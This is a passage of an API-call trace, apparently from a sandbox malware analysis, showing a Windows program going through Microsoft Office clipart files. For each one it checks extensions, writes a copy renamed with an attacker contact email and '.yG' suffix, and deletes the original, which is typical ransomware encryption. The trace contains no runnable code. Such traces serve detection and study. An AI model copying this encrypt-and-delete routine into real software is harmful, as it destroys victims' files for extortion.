	[0184.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.135] lstrlenW (lpString=".7z") returned 3
	[0184.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0184.135] lstrlenW (lpString=".dbf") returned 4
	[0184.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0184.139] lstrlenW (lpString=".1cd") returned 4
	[0184.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 68
	[0184.140] lstrlenW (lpString=".jpg") returned 4
	[0184.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.140] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.140] lstrlenW (lpString="FD00296_.WMF") returned 12
	[0184.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0184.141] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=15856) returned 1
	[0184.141] CloseHandle (hObject=0x3a0) returned 1
	[0184.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220
	[0184.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0184.142] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.142] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0184.144] GetLastError () returned 0x0
	[0184.144] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x3df0, lpOverlapped=0x0) returned 1
	[0184.146] WriteFile (in: hFile=0x398, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x3e00, lpOverlapped=0x0) returned 1
	[0184.149] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.150] WriteFile (in: hFile=0x398, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.150] SetEndOfFile (hFile=0x398) returned 1
	[0184.151] CloseHandle (hObject=0x398) returned 1
	[0184.151] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.151] SetEndOfFile (hFile=0x3a0) returned 1
	[0184.154] CloseHandle (hObject=0x3a0) returned 1
	[0184.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.154] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1
	[0184.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0184.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0184.155] lstrlenW (lpString=".doc") returned 4
	[0184.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.155] lstrlenW (lpString=".docx") returned 5
	[0184.155] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.155] lstrlenW (lpString=".pdf") returned 4
	[0184.155] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.155] lstrlenW (lpString=".xls") returned 4
	[0184.155] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.156] lstrlenW (lpString=".xlsx") returned 5
	[0184.156] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.156] lstrlenW (lpString=".ppt") returned 4
	[0184.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0184.156] lstrlenW (lpString=".zip") returned 4
	[0184.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.156] lstrlenW (lpString=".rar") returned 4
	[0184.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.156] lstrlenW (lpString=".bz2") returned 4
	[0184.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.156] lstrlenW (lpString=".7z") returned 3
	[0184.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0184.156] lstrlenW (lpString=".dbf") returned 4
	[0184.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0184.156] lstrlenW (lpString=".1cd") returned 4
	[0184.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0184.156] lstrlenW (lpString=".jpg") returned 4
	[0184.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0184.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0184.156] lstrlenW (lpString=".doc") returned 4
	[0184.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.156] lstrlenW (lpString=".docx") returned 5
	[0184.157] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.157] lstrlenW (lpString=".pdf") returned 4
	[0184.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.518] lstrlenW (lpString=".xls") returned 4
	[0184.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.518] lstrlenW (lpString=".xlsx") returned 5
	[0184.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.518] lstrlenW (lpString=".ppt") returned 4
	[0184.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0184.625] lstrlenW (lpString=".zip") returned 4
	[0184.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.625] lstrlenW (lpString=".rar") returned 4
	[0184.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.625] lstrlenW (lpString=".bz2") returned 4
	[0184.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.625] lstrlenW (lpString=".7z") returned 3
	[0184.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0184.625] lstrlenW (lpString=".dbf") returned 4
	[0184.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0184.625] lstrlenW (lpString=".1cd") returned 4
	[0184.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0184.625] lstrlenW (lpString=".jpg") returned 4
	[0184.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.626] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.626] lstrlenW (lpString="FD00403_.WMF") returned 12
	[0184.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.626] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=7878) returned 1
	[0184.626] CloseHandle (hObject=0x340) returned 1
	[0184.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220
	[0184.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.626] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.627] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0184.627] GetLastError () returned 0x0
	[0184.627] ReadFile (in: hFile=0x340, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x1ec6, lpOverlapped=0x0) returned 1
	[0184.628] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x1ed0, lpOverlapped=0x0) returned 1
	[0184.630] ReadFile (in: hFile=0x340, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.631] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.631] SetEndOfFile (hFile=0x3a4) returned 1
	[0184.631] CloseHandle (hObject=0x3a4) returned 1
	[0184.631] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.631] SetEndOfFile (hFile=0x340) returned 1
	[0184.632] CloseHandle (hObject=0x340) returned 1
	[0184.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1
	[0184.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0184.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0184.633] lstrlenW (lpString=".doc") returned 4
	[0184.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.633] lstrlenW (lpString=".docx") returned 5
	[0184.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.633] lstrlenW (lpString=".pdf") returned 4
	[0184.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.633] lstrlenW (lpString=".xls") returned 4
	[0184.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.633] lstrlenW (lpString=".xlsx") returned 5
	[0184.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.633] lstrlenW (lpString=".ppt") returned 4
	[0184.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0184.633] lstrlenW (lpString=".zip") returned 4
	[0184.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.633] lstrlenW (lpString=".rar") returned 4
	[0184.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.633] lstrlenW (lpString=".bz2") returned 4
	[0184.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.633] lstrlenW (lpString=".7z") returned 3
	[0184.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0184.633] lstrlenW (lpString=".dbf") returned 4
	[0184.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0184.633] lstrlenW (lpString=".1cd") returned 4
	[0184.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0184.634] lstrlenW (lpString=".jpg") returned 4
	[0184.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0184.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0184.634] lstrlenW (lpString=".doc") returned 4
	[0184.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.634] lstrlenW (lpString=".docx") returned 5
	[0184.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.634] lstrlenW (lpString=".pdf") returned 4
	[0184.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.634] lstrlenW (lpString=".xls") returned 4
	[0184.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.634] lstrlenW (lpString=".xlsx") returned 5
	[0184.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.634] lstrlenW (lpString=".ppt") returned 4
	[0184.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0184.634] lstrlenW (lpString=".zip") returned 4
	[0184.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.634] lstrlenW (lpString=".rar") returned 4
	[0184.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.634] lstrlenW (lpString=".bz2") returned 4
	[0184.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.634] lstrlenW (lpString=".7z") returned 3
	[0184.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0184.634] lstrlenW (lpString=".dbf") returned 4
	[0184.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0184.634] lstrlenW (lpString=".1cd") returned 4
	[0184.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68
	[0184.634] lstrlenW (lpString=".jpg") returned 4
	[0184.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.635] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.635] lstrlenW (lpString="FD00414_.WMF") returned 12
	[0184.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.635] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=11002) returned 1
	[0184.635] CloseHandle (hObject=0x340) returned 1
	[0184.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220
	[0184.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0184.636] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.636] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0184.636] GetLastError () returned 0x0
	[0184.636] ReadFile (in: hFile=0x340, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x2afa, lpOverlapped=0x0) returned 1
	[0184.637] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x2b00, lpOverlapped=0x0) returned 1
	[0184.638] ReadFile (in: hFile=0x340, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.638] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.639] SetEndOfFile (hFile=0x3a4) returned 1
	[0184.639] CloseHandle (hObject=0x3a4) returned 1
	[0184.639] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.639] SetEndOfFile (hFile=0x340) returned 1
	[0184.640] CloseHandle (hObject=0x340) returned 1
	[0184.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1
	[0184.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0184.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0184.641] lstrlenW (lpString=".doc") returned 4
	[0184.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.641] lstrlenW (lpString=".docx") returned 5
	[0184.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.641] lstrlenW (lpString=".pdf") returned 4
	[0184.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.641] lstrlenW (lpString=".xls") returned 4
	[0184.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.641] lstrlenW (lpString=".xlsx") returned 5
	[0184.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.641] lstrlenW (lpString=".ppt") returned 4
	[0184.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0184.641] lstrlenW (lpString=".zip") returned 4
	[0184.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.641] lstrlenW (lpString=".rar") returned 4
	[0184.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.641] lstrlenW (lpString=".bz2") returned 4
	[0184.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.641] lstrlenW (lpString=".7z") returned 3
	[0184.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0184.641] lstrlenW (lpString=".dbf") returned 4
	[0184.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0184.642] lstrlenW (lpString=".1cd") returned 4
	[0184.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0184.642] lstrlenW (lpString=".jpg") returned 4
	[0184.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0184.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0184.642] lstrlenW (lpString=".doc") returned 4
	[0184.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.642] lstrlenW (lpString=".docx") returned 5
	[0184.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.642] lstrlenW (lpString=".pdf") returned 4
	[0184.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.642] lstrlenW (lpString=".xls") returned 4
	[0184.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.642] lstrlenW (lpString=".xlsx") returned 5
	[0184.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.642] lstrlenW (lpString=".ppt") returned 4
	[0184.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68
	[0184.642] lstrlenW (lpString=".zip") returned 4
	[0184.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.642] lstrlenW (lpString=".rar") returned 4
	[0184.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
